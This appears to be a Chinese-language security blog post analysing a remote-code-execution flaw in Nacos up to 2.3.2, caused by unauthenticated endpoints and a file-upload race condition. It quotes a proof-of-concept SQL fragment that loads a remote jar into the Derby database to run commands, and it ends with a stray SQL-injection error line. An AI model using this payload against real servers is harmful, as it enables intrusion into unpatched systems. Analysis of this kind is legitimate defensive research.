Nacos RCE漏洞分析
漏洞简介
Nacos 是一个开源的、易于使用的动态服务发现、配置和服务管理平台,用于构建云原生应用。它提供了一套简单易用的特性集,用于服务发现和服务健康监测,以及动态配置服务、服务元数据和流量管理。
漏洞描述
RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。
影响范围
Alibaba-Nacos:version<=2.3.2受影晌。
漏洞复现
用Github公开的exp可以复现该漏洞。
漏洞分析
从exp可以看出来,本次漏洞涉及2个接口
- /nacos/v1/cs/ops/derby
- /nacos/v1/cs/ops/data/removal
这里是存在2个漏洞,1个是SQL注入,1个是文件上传,也就是条件竞争。
由于Nacos默认部署是没有鉴权的,在未配置的情况下,这里也可以未授权。
SQL注入漏洞来源于:https://github.com/alibaba/nacos/issues/10613
核心在com.alibaba.nacos.core.utils.WebUtils#onFileUpload,这里在创建文件之后
会调用Consumer.accept,发布一个处理逻辑,表示文件处理开始。
随后在dataImport中,针对file对象里面的内容进行遍历,随后执行SQL。
核心的逻辑就在这,
前面的模型是,生产者,和消费者,那么Consumer这个消费者,执行前是同步的,但是在调用文件处理的时候,调用了一个异步处理,但是又没有等待异步处理完毕,然后就执行了finally里面的删除DiskUtils.deleteQuietly(tmpFile);
删除了临时文件,这就导致了会发生在处理时找不到文件的问题。
例如下面这张图这样。
那么只要让这里执行阻塞就可以了,通过大量的上传,让这里阻塞,就能够让异步执行的时候,有几率找到恶意的文件,然后进行SQLBatch导入。
com.alibaba.nacos.core.persistence.DistributedDatabaseOperateImpl#dataImport 主要是把文件内容拿出来然后执行batchSQL
比如,成功的情况下,就会把SQL取出来,加入到batchSQL中
随后通过doDataImport导入
所以漏洞原理可以概括为: 有这样一个功能,初衷是希望用户能够上传文件,且文件被异步的处理(我个人认为这里功能也有bug,因为就算正常用户去上传,也会执行finally导致文件删除,文件上传失败),通过条件竞争的方式,大量上传请求,导致这里阻塞,生产者创建了文件,但是还没来得及删,异步开始处理,导致把恶意的derby sql导入了数据库,导致了UDF问题。
疑问解答
1、为什么可以UDF
我影响中,默认部署,想要利用MYSQL的UDF,好像不是一件简单的事情,需要有一些配置条件,在看到这个漏洞的时候可以UDF执行命令,这是让我比较疑惑的。
其实主要是因为,默认情况下,使用的是apache的derby数据库,这是一个Java写的数据库,
derby数据库是支持调用Java的方法的。
CALL SQLJ.INSTALL_JAR('file:///path/to/mypackage/MyFunctions.jar', 'APP.MyFunctionsJar', 0);
也就是poc中的这一段
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
2、这个漏洞是怎么来的?
利用条件竞争实现UDF的导入创建,随后利用一个以往发现的功能去执行SQL,导致了RCE。
漏洞排查
1、影响版本
Alibaba-Nacos:version<=2.3.2受影晌。
扫描二维码推送至手机访问。
版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。
SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'